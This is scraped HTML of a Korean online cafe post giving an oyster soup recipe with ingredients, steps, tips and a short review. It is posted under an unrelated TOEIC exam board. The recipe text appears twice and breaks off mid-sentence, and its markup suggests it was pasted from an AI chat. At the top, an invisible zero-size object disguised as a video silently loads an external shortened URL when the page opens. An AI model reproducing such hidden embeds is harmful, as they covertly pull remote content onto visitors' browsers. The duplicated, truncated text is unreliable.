<![CDATA[
<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4"></object>
<div _ngcontent-ng-c3376406522="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 600ms; --fade-animation-function: linear; --first-token-animation-duration: 600ms;"><h2 data-sourcepos="1:1-1:26">굴국 만들기: 제철 영양이 풍부한 굴 요리</h2><p data-sourcepos="3:1-3:27"><strong>푸짐한 맛과 영양을 한 그릇에 담은 굴국!</strong></p><p data-sourcepos="5:1-5:12"><strong>1. 재료 준비</strong></p><ul data-sourcepos="7:1-21:0">
<li data-sourcepos="7:1-7:8">굴 500g</li>
<li data-sourcepos="8:1-8:7">대파 1대</li>
<li data-sourcepos="9:1-9:9">청양고추 2개</li>
<li data-sourcepos="10:1-10:8">홍고추 반개</li>
<li data-sourcepos="11:1-11:8">부추 한주먹</li>
<li data-sourcepos="12:1-12:7">물 2리터</li>
<li data-sourcepos="13:1-13:8">멸치 1주먹</li>
<li data-sourcepos="14:1-14:8">다시마 1장</li>
<li data-sourcepos="15:1-15:11">대파 잎부분 1대</li>
<li data-sourcepos="16:1-16:8">소금 반큰술</li>
<li data-sourcepos="17:1-17:10">멸치액젓 1큰술</li>
<li data-sourcepos="18:1-18:9">국간장 1큰술</li>
<li data-sourcepos="19:1-19:8">맛술 2큰술</li>
<li data-sourcepos="20:1-21:0">생강 한 조각</li>
</ul><p data-sourcepos="22:1-22:16"><strong>2. 굴국 끓이는 방법</strong></p><ol data-sourcepos="24:1-33:0">
<li data-sourcepos="24:1-24:33">굴은 깨끗이 씻어 소금물에 30분 정도 담가 놓습니다.</li>
<li data-sourcepos="25:1-25:57">대파는 흰부위와 잎부분을 나누어 썰고, 청양고추와 홍고추는 씨앗을 제거하고 얇게 채 썰어 둡니다.</li>
<li data-sourcepos="26:1-26:18">부추는 송송 썰어 놓습니다.</li>
<li data-sourcepos="27:1-27:48">냄비에 물 2리터를 넣고 멸치, 다시마, 대파 잎부분을 넣고 센 불에서 끓입니다.</li>
<li data-sourcepos="28:1-28:32">끓어오르면 불을 약하게 줄이고 15분 정도 끓입니다.</li>
<li data-sourcepos="29:1-29:31">육수가 맑아지면 굴을 넣고 3~4분 정도 끓입니다.</li>
<li data-sourcepos="30:1-30:37">굴이 익으면 대파 흰부위, 청양고추, 홍고추를 넣고 끓입니다.</li>
<li data-sourcepos="31:1-31:38">소금, 멸치액젓, 국간장, 맛술, 생강즙을 넣고 간을 맞춥니다.</li>
<li data-sourcepos="32:1-33:0">부추를 뿌려 마무리합니다.</li>
</ol><p data-sourcepos="34:1-34:9"><strong>3. 꿀팁</strong></p><ul data-sourcepos="36:1-40:0">
<li data-sourcepos="36:1-36:34">굴은 깨끗이 씻어 소금물에 담가 놓으면 잡내가 제거됩니다.</li>
<li data-sourcepos="37:1-37:84">굴국 끓일 때 굴을 오래 끓이면 굴 속에 있던 물이 나와 굴 비린내가 나기 쉬워요. 굴이 통통하게 부풀어 졌을 때 나머지 양념을 넣고 불을 끕니다.</li>
<li data-sourcepos="38:1-38:37">굴국에 취향에 따라 김, 시금치, 숙주 등을 넣어도 맛있습니다.</li>
<li data-sourcepos="39:1-40:0">멸치액젓 대신 새우젓을 사용해도 좋습니다.</li>
</ul><p data-sourcepos="41:1-41:27"><strong>4. 맛있는 굴국 한 그릇으로 건강 충전!</strong></p><p data-sourcepos="43:1-43:106">굴국은 겨울철 제철 식재료인 굴로 만든 국물 요리입니다. 굴은 단백질, 비타민, 미네랄이 풍부하여 영양가가 매우 높습니다. 굴국은 칼칼하고 시원한 국물 맛과 쫄깃한 굴의 식감이 일품입니다.</p><p data-sourcepos="45:1-45:12"><strong>5. 실제 리뷰</strong></p><p data-sourcepos="47:1-47:83">오늘 저녁은 제철 굴로 굴국을 만들어 먹었습니다. 굴국은 끓이는 방법이 간단하고 재료도 많이 필요하지 않아서 집에서 쉽게 만들 수 있는 요리입니다.</p><p data-sourcepos="49:1-49:80">저는 굴을 깨끗이 씻어 소금물에 30분 정도 담가 놓고 끓였습니다. 굴이 익으면 대파 흰부위, 청양고추, 홍고추를 넣고 끓여 맛을 더했습니다.</p><p data-sourcepos="51:1-51:76">굴국은 칼칼하고 시원한 국물 맛과 쫄깃한 굴의 식감이 일품이었습니다. 굴은 단백질, 비타민, 미네랄이 풍부하여 영양가도 매우 높습니다.</p><p data-sourcepos="53:1-53:45">저는 굴국 한 그릇으로 건강도 충전하고 맛있는 저녁 식사도 즐길 수 있었습니다.</p><p data-sourcepos="55:1-55:10"><strong>6. </strong><div class="attachment-container search-images"><image-carousel _nghost-ng-c672302344="" ng-version="0.0.0-PLACEHOLDER"><single-image _ngcontent-ng-c672302344="" class="carousel-image ng-star-inserted" _nghost-ng-c3917634013="" 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</div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----></image-carousel></div></p><p data-sourcepos="59:1-59:9"><strong>7. 총평</strong></p><p data-sourcepos="61:1-61:109">굴국은 제철 굴로 만든 영양가 풍부한 국물 요리입니다. 끓이는 방법이 간단하고 재료도 많이 필요하지 않아서 집에서 쉽게 만들 수 있습니다. 칼칼하고 시원한 국물 맛과 쫄깃한 굴의 식감이 일품이며,</p></div>
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<li data-sourcepos="7:1-7:8">굴 500g</li>
<li data-sourcepos="8:1-8:7">대파 1대</li>
<li data-sourcepos="9:1-9:9">청양고추 2개</li>
<li data-sourcepos="10:1-10:8">홍고추 반개</li>
<li data-sourcepos="11:1-11:8">부추 한주먹</li>
<li data-sourcepos="12:1-12:7">물 2리터</li>
<li data-sourcepos="13:1-13:8">멸치 1주먹</li>
<li data-sourcepos="14:1-14:8">다시마 1장</li>
<li data-sourcepos="15:1-15:11">대파 잎부분 1대</li>
<li data-sourcepos="16:1-16:8">소금 반큰술</li>
<li data-sourcepos="17:1-17:10">멸치액젓 1큰술</li>
<li data-sourcepos="18:1-18:9">국간장 1큰술</li>
<li data-sourcepos="19:1-19:8">맛술 2큰술</li>
<li data-sourcepos="20:1-21:0">생강 한 조각</li>
</ul><p data-sourcepos="22:1-22:16"><strong>2. 굴국 끓이는 방법</strong></p><ol data-sourcepos="24:1-33:0">
<li data-sourcepos="24:1-24:33">굴은 깨끗이 씻어 소금물에 30분 정도 담가 놓습니다.</li>
<li data-sourcepos="25:1-25:57">대파는 흰부위와 잎부분을 나누어 썰고, 청양고추와 홍고추는 씨앗을 제거하고 얇게 채 썰어 둡니다.</li>
<li data-sourcepos="26:1-26:18">부추는 송송 썰어 놓습니다.</li>
<li data-sourcepos="27:1-27:48">냄비에 물 2리터를 넣고 멸치, 다시마, 대파 잎부분을 넣고 센 불에서 끓입니다.</li>
<li data-sourcepos="28:1-28:32">끓어오르면 불을 약하게 줄이고 15분 정도 끓입니다.</li>
<li data-sourcepos="29:1-29:31">육수가 맑아지면 굴을 넣고 3~4분 정도 끓입니다.</li>
<li data-sourcepos="30:1-30:37">굴이 익으면 대파 흰부위, 청양고추, 홍고추를 넣고 끓입니다.</li>
<li data-sourcepos="31:1-31:38">소금, 멸치액젓, 국간장, 맛술, 생강즙을 넣고 간을 맞춥니다.</li>
<li data-sourcepos="32:1-33:0">부추를 뿌려 마무리합니다.</li>
</ol><p data-sourcepos="34:1-34:9"><strong>3. 꿀팁</strong></p><ul data-sourcepos="36:1-40:0">
<li data-sourcepos="36:1-36:34">굴은 깨끗이 씻어 소금물에 담가 놓으면 잡내가 제거됩니다.</li>
<li data-sourcepos="37:1-37:84">굴국 끓일 때 굴을 오래 끓이면 굴 속에 있던 물이 나와 굴 비린내가 나기 쉬워요. 굴이 통통하게 부풀어 졌을 때 나머지 양념을 넣고 불을 끕니다.</li>
<li data-sourcepos="38:1-38:37">굴국에 취향에 따라 김, 시금치, 숙주 등을 넣어도 맛있습니다.</li>
<li data-sourcepos="39:1-40:0">멸치액젓 대신 새우젓을 사용해도 좋습니다.</li>
</ul><p data-sourcepos="41:1-41:27"><strong>4. 맛있는 굴국 한 그릇으로 건강 충전!</strong></p><p data-sourcepos="43:1-43:106">굴국은 겨울철 제철 식재료인 굴로 만든 국물 요리입니다. 굴은 단백질, 비타민, 미네랄이 풍부하여 영양가가 매우 높습니다. 굴국은 칼칼하고 시원한 국물 맛과 쫄깃한 굴의 식감이 일품입니다.</p><p data-sourcepos="45:1-45:12"><strong>5. 실제 리뷰</strong></p><p data-sourcepos="47:1-47:83">오늘 저녁은 제철 굴로 굴국을 만들어 먹었습니다. 굴국은 끓이는 방법이 간단하고 재료도 많이 필요하지 않아서 집에서 쉽게 만들 수 있는 요리입니다.</p><p data-sourcepos="49:1-49:80">저는 굴을 깨끗이 씻어 소금물에 30분 정도 담가 놓고 끓였습니다. 굴이 익으면 대파 흰부위, 청양고추, 홍고추를 넣고 끓여 맛을 더했습니다.</p><p data-sourcepos="51:1-51:76">굴국은 칼칼하고 시원한 국물 맛과 쫄깃한 굴의 식감이 일품이었습니다. 굴은 단백질, 비타민, 미네랄이 풍부하여 영양가도 매우 높습니다.</p><p data-sourcepos="53:1-53:45">저는 굴국 한 그릇으로 건강도 충전하고 맛있는 저녁 식사도 즐길 수 있었습니다.</p><p data-sourcepos="55:1-55:10"><strong>6. </strong><div class="attachment-container search-images"><image-carousel _nghost-ng-c672302344="" ng-version="0.0.0-PLACEHOLDER"><single-image _ngcontent-ng-c672302344="" class="carousel-image ng-star-inserted" _nghost-ng-c3917634013="" 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_ngcontent-ng-c3917634013="" aria-hidden="true" class="caption ellipsis gmat-caption ng-star-inserted"> 굴국 </div><!----><!----></div><!----><!----><!----><!----><!----><!----><!----><!----><!----></single-image><!----></image-carousel></div></p><p data-sourcepos="59:1-59:9"><strong>7. 총평</strong></p><p data-sourcepos="61:1-61:109">굴국은 제철 굴로 만든 영양가 풍부한 국물 요리입니다. 끓이는 방법이 간단하고 재료도 많이 필요하지 않아서 집에서 쉽게 만들 수 있습니다. 칼칼하고 시원한 국물 맛과 쫄깃한 굴의 식감이 일품이며,</p></div>
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카페 게시글
▒▶토익기출 적중문제
굴국 만들기 제철 영양이 풍부한 굴 요리
조민영
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조회 1
24.07.17 04:00
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